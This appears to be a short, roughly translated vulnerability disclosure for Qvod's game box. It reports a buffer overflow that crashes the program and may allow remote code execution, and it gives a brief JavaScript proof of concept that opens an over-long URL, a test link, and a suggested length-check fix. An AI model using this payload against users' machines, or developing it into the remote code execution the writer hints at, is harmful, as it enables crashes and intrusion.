The fast game box does not have serious control over the buffer boundary, resulting in DOS. It is suspected that the game can be remotely executed.

Qvod's fast game box does not severely control the buffer boundary, resulting in Denial of Service. It feels like it should be able to execute code remotely, just because people accidentally control the eip (0x41414141 ), there is no time to play. Hope you can continue ~

DoS PoC:

 

<Script> url = "http://chall.3owl.com/"; for (var I = 0; I <5000; I ++) {url = url + 'a';} window. open (url); </script>

 

Scenario Restoration:

This is triggered when a player opens a page with a Poc (temporary test http://chall.3owl.com/kw.html) with play.

 

People still feel that if the PoC is added to the remote ShellCode, the code will be executed remotely, because eip = 0x41414141, is there any.

 

Solution:

Use safe functions to check the input length